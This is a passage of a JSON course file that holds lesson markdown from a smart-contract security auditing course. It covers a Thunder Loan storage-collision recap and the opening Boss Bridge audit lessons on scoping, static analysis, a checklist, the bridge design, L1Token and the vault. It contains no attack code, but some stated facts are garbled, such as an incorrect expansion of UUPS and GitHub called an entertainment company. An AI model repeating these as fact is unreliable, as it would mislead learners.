Machine.\n\nLet's dive right into it.\n\n## Starting with the Git Checkout and Stashing Changes\n\nFirst, let's pull up our Thunder Loan test. After reviewing the code, it is advisable to stash your changes. Stashing is a great feature of Git that allows you to take a snapshot of your current changes, store them off to the side on a stack of unfinished changes, and then reapply them later.\n\nAfter stashing, I switch the currently active branch to 'demo' using git checkout command.\n\n## Updating the Protocol\n\nNext, I paste our Proof of Concept (POC) into the current branch. For this, the Thunder Loan upgraded protocol needs to be imported from the respective source folder.\n\nThe code for this would look like:\n\nAt this point, a test run is required to ensure everything runs smoothly.\n\nThis command runs the test that we just added, confirming its successful implementation.\n\n## Understanding the Impact and Likelihood of Issues\n\nBefore wrapping things up, it is essential to consider the impact and likelihood of the issue in question.\n\nIn our current setting, the impact is high; primarily because the upgrade could potentially lead to what is referred to as a 'storage collision'; a serious problem whereby addresses of storage variables overlap, causing unexpected behaviours. These could inadvertently skew the fees associated with our Thunder Loan.\n\nThe likelihood of this occurring can be medium to low. However, it tends to lean towards a higher likelihood considering that an upgrade was planned.\n\nThe key here is to understand your protocol's likelihood and impact of the storage collision issues, which is a very common pain-point when it comes to proxy contract upgrades.\n\n## Identifying the Root Cause\n\nA root cause analysis reveals that variable location mix-ups can result in storage collisions. In our Thunder Loan case, the problem arises in the _Flash Loan fee_ and the process of _Flash Loaning_. The severity of this problem means that it could potentially paralyze the entire protocol due to the storage location mismatches.\n\n## Potential Mitigations and Recommendations\n\nTo mitigate such an issue, it is recommended to maintain constant variables when removing and introducing storage variables.\n\n![](https://cdn.videotap.com/MJYevuA6WF1Wcqj3AgIR-148.52.png)\n\nThis recommendation is based on the understanding that storage layouts are very important to the solidity coding structure – modifying them could lead to unexpected errors.\n\n## Wrapping Up\n\nIn this post, we have walked through not just the intricacies of debugging and improving solidity code, but also the complexities that proxy contracts introduce. It's no surprise that some developers see proxies as a necessary evil while others view them as progress in the smart contract sphere.\n\nWhether you side with the 'Bad News Bears' or 'Great Progress' team, we strongly encourage you to share your view in our ongoing community discussion!\n\nAs for our next step with Thunder Loan, that will largely consist of doing the reporting. Stay tuned for more updates in that regard. Happy coding until then!\n", + "updates": [] + }, + { + "id": "04952e33-4469-4ae7-8848-e964fc003ee4", + "number": 49, + "title": "Section 6 Recap", + "slug": "section-6-recap", + "folderName": "49-section-6-recap", + "description": "", + "duration": 6, + "videoUrl": "m5ZGFbCOXNQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/49-section-6-recap/+page.md", + "markdownContent": "---\ntitle: Section 6 - Recap\n---\n\n.\n\n## Unraveling the Flash Loans on Thunder Management Protocol\n\nFirstly, let's talk about flash loans, the key feature of the Thunder Management Protocol. Flash loans are innovative DeFi tools that allow users to borrow substantial amounts of assets for one single transaction. They have gained prominence due to their significant use in arbitrage opportunities, previously only utilized by prolific investors, fondly known as 'whales'. With flash loans, however, anyone can seize these golden opportunities.\n\n![](https://cdn.videotap.com/XdZhyn8C3rqPpi7yPlNe-50.31.png)\n\n> \"Flash loans are phenomenal DeFi primitives turning anyone into a whale.\"\n\nAs security researchers, we recognize the importance of understanding top protocols like Aave and Compound. This foundational knowledge provides us with necessary context for quicker and more efficient future project comparisons. Moreover, we've realized using an AMM(Automated Market Maker) or a DEX(Decentralized Exchange) protocol as a pricing oracle is a poor choice. Instead, a decentralized price feed like Chainlink should be on your go-to list for robust and secure oracle solutions.\n\n## Shedding Light on Proxies and their Risks\n\nWe discussed the significant implications of utilizing proxies in contract development, particularly UUPS(Upgradable Unambiguous Proxy Standard). Proxies can lead to dreaded risks such as centralization and storage collisions if not handled carefully. However, our discussion did not extensively cover the transparent proxy or the multi-faucet proxy—important topics available for further research.\n\n![](https://cdn.videotap.com/rq3TwsRcnxoecVEB3Kir-138.35.png)\n\nOne intriguing topic we brushed upon is 'malicious scope'. Sometimes, while auditing a codebase, a protocol might ask you to ignore auditing a certain part. Interestingly, that often is the part housing the rug pull. As analysts, it's important to snuff out such malicious intentions. If you keep missing the red flags and all audited projects end in rug pulls, it reflects poorly on your auditing abilities. At the very least, all potential risks should be plainly stated in the audit report, serving as a potential alarm for the readers.\n\n## Introduction to Useful Tooling and Strategies\n\nExploring some handy tools, we touched briefly upon Upgrade Hub, a powerful tool highlighting how often protocols have undergone silent upgrades—some rather misleading ones, though. In addition, we dug into some fascinating exploits, especially the infamous failure to initialize contracts. Important note: always ensure contracts you're analyzing or designing have a method deployed to authenticate contract initializations.\n\n![](https://cdn.videotap.com/WZFqXvkBGJ6wgC3VdPJ0-188.65.png)\n\nTalking about the infamous Oasis case study, it served as a prime example demonstrating the repercussions of protocol centralization, reminding us of the potential rug pull danger lurking beneath the surface of centralized architectures. Remember to signal such major centralization risk in your audit reports.\n\nAnother important topic was Oracle and price manipulations. A considerable number of Oracle manipulation attacks pose high risks, reinforcing our advice not to use an AMM as your pricing Oracle.\n\nWe concluded our section with design patterns, aiding in understanding the underlying operational concepts in smart contract development.\n\n## Concluding Remarks and How to Move Forward\n\nAdmittedly, this section is information-dense and might seem confusing at first glance. However, remember to interact with fellow developers, share insights, ask questions, and contribute to discussions on platforms such as our Cypher Updraft community. You’ll find yourself gradually familiarizing with the concepts, making them seem less daunting.\n\n![](https://cdn.videotap.com/aXjjMtL66bz5IgquDe55-264.12.png)\n\nOnwards, we're heading to section seven, offering riveting insights about Boss Bridge and its inner workings. It's going to be an intriguing journey into Yul and Assembly's realm—an important break from our previous section.\n\nA massive thank you to everyone following along on this informative journey. Your perseverance and eagerness to learn have made this adventure fun and informative, equally. Remember, it's okay to take a breather, get some coffee, maybe go for a good workout, rest, and come back ready to dive deeper into this fascinating world of blockchain and smart contracts.\n\nOkay then, are we ready to dive into section seven? Great! Let’s begin our exploration.\n\n![](https://cdn.videotap.com/i3PPe1YFwpZgqTiGNVBF-314.42.png)\ns\n", + "updates": [] + } + ] + }, + { + "number": 7, + "id": "3753a05a-5de5-4b4b-9766-5e1a75eb1d73", + "title": "Boss Bridge", + "slug": "bridges", + "folderName": "7-bridges", + "lessons": [ + { + "id": "0f5c515e-a28a-4a32-abcc-1e81b432b1b8", + "number": 1, + "title": "Introduction", + "slug": "part-intro", + "folderName": "1-part-intro", + "description": "", + "duration": 5, + "videoUrl": "WZSwgk4oi7I", + "rawMarkdownUrl": "/routes/security/7-bridges/1-part-intro/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n\n\n---\n\n# Unveiling Section Seven of Security and Auditing EVM DeFi: A Comprehensive Security Review\n\nWelcome back, enthusiastic coders! Brace yourselves for an exciting deep dive into Section Seven of the Security and Auditing EVM DeFi. In this intriguing space, we are going to roll up our sleeves and immerse in not less than five detailed security reviews or audits. Stay tuned for more in part two as well.\n\n## Flashback to Thunder Loan\n\nWe have recently waved goodbye to the thrilling Thunder loan security review and audit, an eye-opener in the world of Decentralized Finance (DeFi). The concept explored here, ranging from flash loans to Oracle manipulation encapsulates the primary attacks presently haunting DeFi.\n\n![](https://cdn.videotap.com/j6Dr40RzmumPq9jhPJY3-36.13.png)\n\n### New Concepts Unfolded\n\nOur journey shed light on a multitude of aspects essential for better understanding the DeFi landscape, including price Oracle manipulation, reward manipulation, insufficient function access control, and a gamut of logic errors, function parameter validation, misconfigurations and reentrancies.\n\nWhile these are considerable advancements, we are yet to uncover every crevice of the DeFi sphere. More obscure areas, such as governance attacks and stolen private keys, are yet to be traversed. Fortunately, we will unveil these mysteries and delve deeper into the riveting world of DeFi security in this seventh chapter.\n\n## Sneak Peek into Section Seven\n\nPrimarily, we will scrutinize the Seven Boss Bridge audit code base, currently available for the first flight on the [CodeHawks platform](https://www.codehawks.com).\n\n![](https://cdn.videotap.com/LLXHIyWzga7BHJru6Wjv-90.31.png)\n\n### The Power of CodeHawks\n\nRemember, reading and evaluating security reviews is an effective way to level-up your skills. If tech-upscaling piques your interest, Code Hawks curates a vast array of first flights that are worth exploring. Furthermore, signing up for CodeOx posts and participating in competitive audits can be quite advantageous.\n\n### Repo Overview and Tooling Upgrades\n\nExploring this chapter's repo, we will first notice two conventional branches: `main` and `audit data`, where `audit data` hosts the answer keys (no peeking!).\n\nWe will explore varying Ethereum Virtual Machine (EVM) chains such as Arbitrum, Optimism, ZKSync, and Ethereum. We will ponder whether these are analogous or have unique features that set them apart.\n\nFurthermore, we will explore tools, Tenderly and Solidit, which will aid us in streamlining our code review process.\n\n### The Hans Checklist: A Systematic Approach to Coding Reviews\n\nNext, we delve into a novel system for conducting smart contract security reviews: the Hans Checklist.\n\nTowards the end of this section, we'll break down Hans' trend-setting checklist methodology, which helped him ascend to the rank of top competitive auditor globally for the first half of 2023.\n\n## The Classic Security Review Steps and Exciting Case Studies\n\nAs before, we will follow the classical method for security reviews, incorporating scoping, reconnaissance, vulnerability identification, writeups, and reporting. We will also look at the intriguing case studies based on various chains, including Polygon, ZK Sync, and how different chains actually work with different opcodes.\n\nIn this part, we will focus more on bridge hacks as these were rampant in the year 2022. Most bridge hacks we noticed unfortunately happened due to centralized controls and the loss of private keys, leading to bizarre exploitations.\n\nWe will also study several exciting exercises that include researching some attacks and doing write-ups on them. Some significant aspects would be Signature Replay, merkel tree, signature issues, polygon double spend, and nomad bridge hack.\n\n## Onwards with the Contract Scoping Phase\n\nFinally, after discussing the technicalities, we will commence with the scoping phase of the contract that will be considerably quicker this time. Following the scoping, we will move on to the actual security review of the contract.\n\nRemember, there are conceivably more issues than we cover. Thus, if you stumble across some extra issues, don't hesitate to share your insights!\n\nBrace yourselves—with all that we have in store, we're sure to add significant value to your coding and auditing skills, inspiring you to dive deeper into the mesmerizing world of coding.\n", + "updates": [] + }, + { + "id": "d52feb22-38e1-4616-b8e6-274c58a892b6", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 6, + "videoUrl": "FKFU43o4U-8", + "rawMarkdownUrl": "/routes/security/7-bridges/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1: Scoping\n---\n\n_Follow along with the video lesson:_\n\n\n\n---\n\n# Kick-starting our Security Audit: The Boss Bridge Project Case Study\n\nIn this extensive blog post, we're going to dive into the world of security auditing, using an example project: Boss Bridge. We'll begin in a familiar place, assuming you've just downloaded the project through GitHub, opened a fresh VS Code window, and you're ready to explore.\n\n## Getting Started: The Importance of Pre-boarding\n\nWhen auditing any project’s codebase, a key step in your preparation should be notetaking: scribbling down your thoughts, ideas and key points in your 'notes' section or equivalent. Think of it as your own personal checkpoint system.\n\nAs you delve further into the codebase, your entity list should grow into a robust compilation. This helps keep track of vulnerabilities, concepts to revisit, and potential threat vectors that could minimise attacks. Just like a detective unravelling the clues, your notes provide the foundation of a thorough investigation.\n\n## Understanding the project scope\n\nOnce you've downloaded the code, the next step is to determine the overall project scope. Begin by investigating the 'src' folder, opening the README file, and understand its core facets.\n\n![](https://cdn.videotap.com/Z6FwLQhDRCyW6ZPk1OQ4-80.11.png)\n\nTo determine the full extent of the project, you'll need to scrutinize the audit scope details particularly. Here, you'll uncover details of the commit hash, the contracts and tokens, any unusual behaviors, and even the expected deployment chains.\n\n### Holler Out for More Information\n\nDon't hesitate to reach out if you need additional data. Developing a comprehensive understanding of this project is pivotal, and while speed is critical, you want to ensure you aren't missing critical elements. Request more diagrams, data, and subsequent supporting information as needed.\n\n### An Overview of the Contracts\n\nFrom our initial study, we gather that our contracts will deploy to the Ethereum Mainnet. Interestingly, we're deploying a new entity, `tokenfactory.sol`, for the first time to ZKsync era.\n\n![](https://cdn.videotap.com/SYHd0AD9SPTDOeE3c8j6-148.78.png)\n\nYou will notice several roles or 'actors', one of which has the authority to pause and unpause the bridge in event of an emergency - a common design pattern known as the Emergency Stop pattern.\n\n## Acknowledging known issues\n\nFrom the outset, it's evident that there's an element of centralization with the project. This sort of authority vested with an individual or a single entity has its own pros and cons. On one hand, it's beneficial for effective and quick resolution of discrepancies. On the other, it tends to undermine the fundamental principle of blockchain's decentralization. However, such centrality aspects could be disregarded in a competitive audit.\n\nUpon further review, we notice that zero-address checking seems to be intentionally disabled, presumably to save gas. Also, there are some magic numbers that, instead of being recognized as constants, have been distinguished as literals.\n\nDespite these hiccups, it's clear that the protocol has a decent understanding of 'weird ERC20s'. They've incorporated `make slither` and `make aderyn` into the codebase as tools, key signs of protocol's awareness towards security.\n\n## Checking Code Coverage\n\nTo get an idea of the code coverage, we need to install the necessary libraries and run `forge coverage`. While our coverage might not be exhaustive, it could be considerably better. The `tokenfactory` is fully covered. However, the `vault` entity misses out entirely, which might result in several attack vectors.\n\n![](https://cdn.videotap.com/gS0LrDyx1XBys7mxdaUB-240.33.png)\n\nIn such scenarios, stateful fuzzing test suites could compensate for the shortcoming in manual reviews. At the moment, this approach is increasingly becoming a standard requirement for security.\n\n## Running Solidity Metrics\n\nFinally, as part of your project scope, remember to run a couple of tools – even if it blurs into vulnerability identification. This instance of the project has a complexity score of 106 and 101 lines of code – nearly half the size of the Thunder Loan project, which makes it quite simple to work through.\n\nWith this comprehensive understanding of the README and documentation, it's time to start your reconnaissance. From here on, with the context you've gained from the project scope, you're ready to probe further and uncover potential vulnerabilities and exploits.\n\nHappy auditing!\n", + "updates": [] + }, + { + "id": "846a626f-c44a-4167-9988-cdaedce16969", + "number": 3, + "title": "Phase 2: Recon", + "slug": "recon", + "folderName": "3-recon", + "description": "", + "duration": 2, + "videoUrl": "RKjx1wGuUco", + "rawMarkdownUrl": "/routes/security/7-bridges/3-recon/+page.md", + "markdownContent": "---\ntitle: Recon\n---\n\n\n\n---\n\n# Static Analysis of Ethereum Smart Contracts\n\nOne of the first steps in smart contract auditing involves the use of static analysis tools. These tools can scan your codebase and identify potential issues such as vulnerabilities, bugs, or deviations from best practices. This blog post will provide a detailed walkthrough of static analysis, using `make slither` and `make aderyn` commands as primary examples of tools that we can use.\n\n## Reading The Documentation\n\nThe first step on this journey of static analysis will always be reading the documentation of the tool that you want to use. Why is this? Because it will help you understand the full capabilities of these tools. Despite this, the documentation step is often overlooked, so do remember to pay special attention to it.\n\nToday, however, after a quick glance over the user manual, I am eager to dive straight into the codebase. Brace yourself for some adventurous code auditing!\n\n## Running Static Analysis Tools\n\nIn this scenario, I've decided to start by running my static analysis tools.\n\n![](https://cdn.videotap.com/WV5JlvHe6ylxiE7aFko2-12.35.png)\n\nThe command to initiate the process is `make slither`. This should be run as a baseline test for any codebase under scrutiny. As devs, it's our responsibility to ensure a codebase complies with best practices.\n...\nIt turns out the codebase is riddled with issues. But no worries – this is what we signed up for. Let’s dive deeply into these issues shortly.\n\nNext, it's time to run the `make aderyn` command to get a secondary report:\n\n## Analyzing the Report\n\nNow we have the `report.md` ready. Time to examine its findings.\n\n![](https://cdn.videotap.com/l0Mt9wevI06wPhE5FmZS-38.8.png)\n\nA sneak peek into the report reveals some medium-grade issues. Let's examine them closely:\n\n- **Centralized Risk** - The contract has a centralized risk problem. Despite the fact that blockchain was built on the pillars of decentralization, many developers fall into the trap of creating contracts that rely on central authority.\n- **Unsafe ERC20 operations** - The contract uses unsafe ERC20 operations. This is a big no-no.\n\n> \"ERC20 operations should not be used. The return values are not always meaningful. It is recommended to use [OpenZeppelin's SafeERC20 library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol)\".\n\n- **Missing zero address checks** - The contract does not have zero address checks.\n- **Functions could be marked external** - There are functions which are not used internally, these could be marked external which could save some gas.\n- **Undefined constants** - The contract uses magic numbers instead of defined constants.\n- **Incorrect events** - Events in the contract are not defined correctly.\n\nThe report from Aderyn is full of useful insights. They will all be copied and pasted into their rightful sections in the final report.\n\n## Reconnaissance\n\nFinally, it's time for reconnaissance. I pondered over whether to do the `Tincho`, which analyzes the contracts from the least to the most complex. Since there are only four contracts, I opted to forgo creating a new sheet for documentation.\n\nStay tuned for further posts to unveil the specifics of each of these issues, and the steps taken to mitigate them.\n", + "updates": [] + }, + { + "id": "79941ec5-6897-46fd-a326-69e439282e2c", + "number": 4, + "title": "Checklist", + "slug": "checklist", + "folderName": "4-checklist", + "description": "", + "duration": 2, + "videoUrl": "4vcHCgsfkpk", + "rawMarkdownUrl": "/routes/security/7-bridges/4-checklist/+page.md", + "markdownContent": "---\ntitle: Checklist\n---\n\n\n\n---\n\n# The Ultimate Auditor’s Checklist Method: The Hans\n\nHave you ever wondered about the techniques that a talented and successful auditor uses (like the No.1 Web3 auditor, Hans), to keep everything organized? Well, wonder no more. Today, we are going to discuss an important tool Hans uses, a highly comprehensive checklist that we will explore here. The information might astonish you, so now is the time to buckle up for an Audit Adventure.\n\n![](https://cdn.videotap.com/tXeWNgj1dZEkapH1ksfB-13.48.png)\n\n## The Power of a Checklist\n\nThe power of a checklist lies in the precision it can bring to a potentially massive process. By breaking down what might otherwise feel like a daunting task into structured and doable segments, checklists allow us to tread with confidence. Entertainment tech giant GitHub has embraced this approach by maintaining a repository-driven checklist entitled \"audit checklist\" for performing code audits.\n\n> The checklist is part of an extensive repertoire of different attacks complete with links to Solidit, where these attacks have been reported, their implications and much more. Initially, it is in the JSON format, but will soon be hosted on Solidit for an enhanced user-friendly experience.\n\nYou can view and utilize this effective tool [here](https://github.com/Cyfrin/audit-checklist).\n\n![](https://cdn.videotap.com/Os7tDGbFK1OTvjjccMdx-60.68.png)\n\n## Diving into the Checklist\n\nThe checklist dives instinctively into an attacker's mindset and focuses on a list of general checks for common attack types. Each section is meticulously designed to guide you through the audit process, complete with descriptions, remedial advice, references to potential attacks, and tags.\n\nFor instance, a section on \"Reentrancy Attacks\" includes questions you might ask to verify a system is safe from this category of assault. Questions like: \"Are there any state changes after interaction with an external contract?\" guide the process strategically.\n\nThe checklist covers other types of attacks, such as:\n\n- Denial-of-Service\n- Griefing Attacks\n- Replay Attacks\n\nThe FAQ format ensures you’re doing your due diligence when evaluating a protocol. For example, under denial of service, you could inquire \"Is the withdrawal pattern followed to prevent denial of service?\" or scrutinize how the protocol manages tokens with blacklisting functionality – a point we have touched on before.\n\n## Making It Your Own\n\nOptimizing this checklist to suit your needs will help you make the most of it. You can do this by visiting the [Cyfrin GitHub audit checklist](https://github.com/Cyfrin/audit-checklist) and tweaking the JSON format to suit your preferences. The inclusion of your ideas not only makes the checklist more usable but also contributes to the creation of a collective knowledge base that benefits everyone.\n\n![](https://cdn.videotap.com/ndm5LlDWEj2Gnsr6ADqz-148.32.png)\n\n## Going Beyond the Given\n\nThe nature of our industry means the checklist isn’t definitive. New issues and challenges come up that might not be covered by the current framework.\n\nTherefore, this checklist remains a living document, one which requires continuous updating and refining. This could mean adding new issues to your list or making a pull request to include new questions that arise during the audit process.\n\n## Conclusion\n\nSo there it is, the Auditor's Checklist Method by Hans. The roadmap to auditing a project, checking off every potential security vulnerability, ensuring that the protocol follows best practices.\n\nRemember, the best use of this checklist comes not only from following it but also in reflecting upon its points and amalgamating your insights into it.\n\nHappy auditing!\n\n![](https://cdn.videotap.com/B8DVGbPuHxUALaBDmvYC-202.26.png)\n", + "updates": [] + }, + { + "id": "925e54df-38a4-466f-8c04-b7cabf3f39ce", + "number": 5, + "title": "Docs", + "slug": "Docs", + "folderName": "5-Docs", + "description": "", + "duration": 2, + "videoUrl": "CYFBEMBKSe0", + "rawMarkdownUrl": "/routes/security/7-bridges/5-Docs/+page.md", + "markdownContent": "---\ntitle: Docs\n---\n\n## \n\n# Bridging the Gap: Introducing Boss Bridge for ERC20 Tokens\n\n![](https://cdn.videotap.com/7JrqjCcxUyOafjUdWM9V-11.74.png)\n\n## How Does Boss Bridge Work?\n\nIn essence, the key function of our Boss Bridge is providing a pathway for users to deposit their tokens. Upon deposit, these tokens are stored securely in an L1 digital vault. The deposit event triggers a subsequent off-chain event which our mechanism discerningly picks up, parses it, and then mints the corresponding amount in L2.\n\n> Remember: The main goal here is ensuring user safety and security.\n\nThe first version of the bridge adheres strictly to this ideal and includes several security features.\n\n## Key Security Features\n\nThe current version of our Boss Bridge boasts multiple mechanisms aimed at enhancing the security of deposited tokens:\n\n1. The bridge owner has full authority to pause any operations during emergent situations.\n2. Account deposits are permissionless, but to avoid any potential abuse, we have imposed a strict limit on the number of tokens that can be deposited.\n3. All withdrawal requests must be approved by the bridge owner.\n\nWe are focused on continually improving this system, making it even safer and more secure with each update.\n\n![](https://cdn.videotap.com/DSoIzu6Rtt37d8MackPQ-55.77.png)\n\n## The Launch\n\nWe are preparing to launch our L1 Boss Bridge on both the Ethereum Mainnet and ZK Sync platforms. Initially, we will use only L1 tokens, or their duplicates, within the bridge system.\n\n**Please note**: At this early stage, other ERC20 tokens will not be supported, and their 'weirdness' is considered out of scope on withdrawals.\n\n## Withdrawal Process\n\nIn the context of withdrawals, the bridge operator holds the responsibility of signing each withdrawal request submitted by users. These requests are made on the L2 component of the bridge.\n\nEssential point to mention: For a successful withdrawal, our service will check that the account submitting a withdrawal previously initiated a successful deposit on the L1 part of the bridge.\n\n![](https://cdn.videotap.com/oRDUILrsz7wMudIoZwVx-76.32.png)\n\n## Making Sense of the Boss Bridge\n\nIf this seems a bit overwhelming, it is natural. This is where you might be getting the urge to delve into the protocol design, or you might want to explore the contract and draw up some diagrams on your own.\n\nIn either case, these are healthy steps toward understanding the mechanism better. For those willing to roll up their sleeves and create some diagrams, we encourage you to pause right here, grab your notebook, and start sketching. It's a great learning experience!\n", + "updates": [] + }, + { + "id": "5328d856-613d-444a-9ecd-2a5955ae342e", + "number": 6, + "title": "Boss Bridge Diagram", + "slug": "boss-bridge-diagram", + "folderName": "6-boss-bridge-diagram", + "description": "", + "duration": 6, + "videoUrl": "F5Qap3cnz8I", + "rawMarkdownUrl": "/routes/security/7-bridges/6-boss-bridge-diagram/+page.md", + "markdownContent": "---\ntitle: Boss Bridge Diagram\n---\n\n\n\n---\n\n# Understanding Bridges in Ethereum and ZK Sync with Audit Data\n\nHello, everyone! If you've been scrolling through the audit data section of our Git repo, you might have noticed a sketch of the L1-L2 Bridge structure used for transactions, meant to illustrate contract creation and token execution. Let's go through it together!\n\n## The Bridge Structure\n\n![](https://cdn.videotap.com/rIxjCdQQCX2uJutT8w6U-12.43.png)\n\nAs you can see from the image, on the left of this dotted line, we have contracts on the Layer One (L1), while on the right side you can see the contracts yet to be built -- for now, they are only imaginary. They will exist in the future on Layer Two (L2).\n\nThe L1 is where we focus most of our attention. Why? Because this is where we have the Tokenfactory.sol - a pivotal contract whose sole function is to deploy L1 tokens.\n\n### The Role of the Tokenfactory\n\nThe `tokenfactory.sol` is a simple and minimal contract. It's ownable, comes with mappings, and you'll notice it has just one function - `deployToken`. This function deploys a new ERC20 token contract, accepting the contract bytecode as input.\n\n```js\nfunction deployToken(bytes memory bytecode) public onlyOwner returns (address){\n return _deploy(bytecode);\n }\n```\n\nThough it is noteworthy that deploying any contract can be hazardous, we'll assume that the `tokenfactory.sol` will correctly hold a copy of the L1 token contract bytecode and not any malicious ERC20.\n\n> - _\"We should note that you can potentially deploy anything with `deployToken()`, which isn't ideal.\"_\n\nYes, as unsettling as it might sound, this token factory could technically deploy any contract. But bear in mind, this is an accepted caveat that was already addressed in the known issues section of the documentation. We will not dwell much on this, as it is within the scope of the project, and any other issue arising would fall out of scope.\n\n### L1 Token - The Bridge\n\nMoving on, we have the `L1Token.sol`. This is a very minimal L1 token with a max supply named Boss Bridge Token (BBT). Its sole purpose is to journey between the L1 and the L2. For instance, your L1 could be something like ETH, and the L2 might be ZKSync, or vice-versa.\n\n![](https://cdn.videotap.com/j1ojbfHNdYgSRmp6YI6u-111.91.png)\n\nIt is important to note that L1 entities will be present on both Ethereum and ZKSync irrespective of the labeling.\n\nThen we have the main contract known as `L1BossBridge.sol`, responsible for facilitating the core operations of the system.\n\n### L1BossBridge - The Main Contract\n\nThe `L1BossBridge.sol` contract has a substantial role and a few capabilities. It can pause and unpause, illustrating some centralized power. Most crucially, it permits users to deposit tokens to L2 and withdraw tokens from the L2 back to the L1.\n\n```js\nfunction sendToL2(address _l2Delegate, address _token, uint256 _amount, uint256 _l2Gas, bytes calldata _data) external whenNotPaused returns (bytes memory){\n /* (...rest of code...)*/\n}\n```\n\nThe `sendToL2()` function deposits token to L2. Once tokens are sent, they are locked into `L1Vault.sol`. This vault is relatively simple and doesn't really do much other than holding onto the L1 tokens approved by the Boss Bridge.\n\n### How Tokens Travel Between Layers\n\nWhen the Boss Bridge signals, the vault releases the tokens. This mechanism allows tokens to be sent from an L1 to an L2. In practice, if we send 10 tokens into the vault from the L1, these 10 tokens locked into the L1 vault aren't directly transferred to the L2.\n\nInstead, they are locked in another vault on the L2 side, triggering the system to release an equivalent number of tokens (in this case, 10) on the L2. This process of locking and releasing is observed and controlled by a centralized off-chain service.\n\nTo keep this a touch simpler and less technical, bridges usually work this way. You don't transmit tokens directly over the L1. Instead, you lock them into a vault, and the L2 produces an identical version of the token for you to use.\n\nThe final piece of this process involves tokens on L2 being relocked into the L2 vault. These Signers, the centralized units noteworthy for their crucial role, will approve the tokens to be unlocked on L1 again.\n\n```js\nfunction unlockL1(address _l2Delegate, address _token, uint256 _amount, bytes calldata _data) external whenNotPaused returns (bytes memory){\n /* (...rest of code...)*/\n }\n```\n\n### The Key Role of Signers\n\nSo these Signers are important because they see who's depositing to either layer and decide when to unlock or relock tokens. As valuable as this function is, it is also an embedded known issue with the protocol due to its centralized nature.\n\nOnce a token in L1 gets locked in the vault, it's liberated to roam in L2. Reversibly, when you lock it back into the L2 vault, Signers get a signal, and the tokens from L1 vault are released.\n\nI hope this makes sense. I hope this helps you understand how the bridge between layers work. If you have any further questions, feel free to drop a comment, and I'll be happy to help!\n", + "updates": [] + }, + { + "id": "46830858-6899-4cd0-92df-d010c0f5e01c", + "number": 7, + "title": "L1 Token", + "slug": "l1-token", + "folderName": "7-l1-token", + "description": "", + "duration": 2, + "videoUrl": "nMraeBRAiIs", + "rawMarkdownUrl": "/routes/security/7-bridges/7-l1-token/+page.md", + "markdownContent": "---\ntitle: L1Token.sol\n---\n\n\n\n---\n\n# Diving Deep into the Trenches with Solidity Code\n\nToday, we are armed with an abundance of context, which provides us with a fortified understanding of what this code base embodies. Let's begin!\n\n## Invoking the \"Tincho\"\n\n![](https://cdn.videotap.com/KbfZIIwRu0i6v3I4hHUH-9.1.png)\n\nWe're going to invoke the Tincho method in our exploration - starting with the little ones and progressively getting bigger, like a well-ascended staircase of understanding. And don't worry, we'll make sure to go through a checklist at the end to ensure we've covered all bases.\n\n## Descending to the Code Depths\n\nOur first stop? The smallest code base in our array of documents. Hop onboard, as we open up the file for `Solidity metrics` and navigate towards the seemingly insignificant number seven, `L1Token.sol`. A little intimidating, isn’t it? But fear not, we’re just about to dive deep and decipher this \"Bad Larry\".\n\n## Finding the Unexpected in the Expected\n\nUpon inspecting `L1Token.sol`, we find quite a regular landscape - not particularly striking with nothing out of the ordinary. But let's not rush our judgment.\n\nWe're leveraging codes from `OpenZeppelin`. As veterans in this field, we’re well acquainted with `OpenZeppelin`.\n\n```js\nprivate constant initial_supply;\n```\n\nPrima facie, we encounter a private constant initial supply which seems appropriately allocated. It's multiplied by the decimal representation of ten - a magic number by a certain perspective but just a ten, hence, no alarm bells ringing.\n\n## Unravelling the Tests\n\nDiving deeper, we look for a deploy. Unfortunately, this section seems to be lacking a dedicated deployment component in its structure. There's a `token factory test`, but the sight of `L1Token` tests is scarce.\n\nBut wait, there's a silver lining! There are indeed a few tests conducted on the `L1Token`. For instance, we have a token transfer test.\n\nThis token is utilised in the transfer process, and it seems to deploy a brand-new token. Once again, nothing screams out of place - everything seems quite standard here.\n\n## Final Words\n\nAfter scrutinizing `L1Token.sol`, it appears quite compliant with standard solidity coding practices. Following the Tincho approach has led us to meticulously dissect this small piece of code, to such an extent, that we can confidently say - \"this looks fine\".\n\nContinuing on this journey, we will employ the same procedure to the next segment of the code. Embark on this journey with us as we delve into the eccentric and challenging world of software development, one line of code at a time.\n\n> \"The job of the coder is not just to code. It is to understand and then code.\" - Anonymous Developer\n", + "updates": [] + }, + { + "id": "5ac83da6-7426-4962-99c5-4bf246942eff", + "number": 8, + "title": "Vault", + "slug": "vault", + "folderName": "8-vault", + "description": "", + "duration": 4, + "videoUrl": "0vsRnilzIMA", + "rawMarkdownUrl": "/routes/security/7-bridges/8-vault/+page.md", + "markdownContent": "---\ntitle: Vault.sol\n---\n\n\n\n---\n\n# Dive into the L1 Vault of TokenBridge\n\nIn this post, we're going to explore the innards of the Layer 1 (L1) vault, a critical part of the TokenBridge, a network built for token transfers between different blockchain networks.\n\n## The Role of the L1 Vault\n\nTo kick things off, the L1 Vault is essentially a storage box for tokens. It holds tokens when they're not being used or transferred on either L1 or Layer 2 (L2) networks. When needed, these tokens can be unlocked to \"frolic and play\" on the L1 or L2 playgrounds.\n\n![](https://cdn.videotap.com/SPq2DMS4BIdTLOfpIdi6-22.67.png)\n\nLet's dive deeper into the vault itself.\n\n## An Introduction to L1 Vault Structure\n\nThe L1 Vault, as expected, is slightly larger in size but not too big to handle. The vault is 'ownable', meaning it can have designated owners - this could be an individual, a group, or another contract.\n\nThere's a descriptor (NatSpec) on top that indicates the author's identity - Boss Bridge. According to the NatSpec, the contract has two primary responsibilities: locking and unlocking tokens on the L1 or L2, and giving the green light to a bridge so it can move funds to and from this contract.\n\nThe owner of this contract, the note says, should ideally be a bridge.\n\nAnd this sparks off our first question: can we somehow tweak it so that the owner is not the bridge?\n\n## Deployment of the L1 Vault\n\nHowever, the folks at TokenBridge seem to be missing a deploy folder, which is definitely something worth mentioning. How would you deploy your contract without a deploys directory? This could certainly improve.\n\nWe then dig further into how they launch the vault. They've got an initiation sequence where the vault is equated to 'tokenbridge.vault’, which seems to suggest that the Boss bridge itself is deploying the vault.\n\nTaking a closer look at the L1 Boss Bridge, this assumption is confirmed - the 'vault' is a public, immutable value. It is set to be the 'vault' 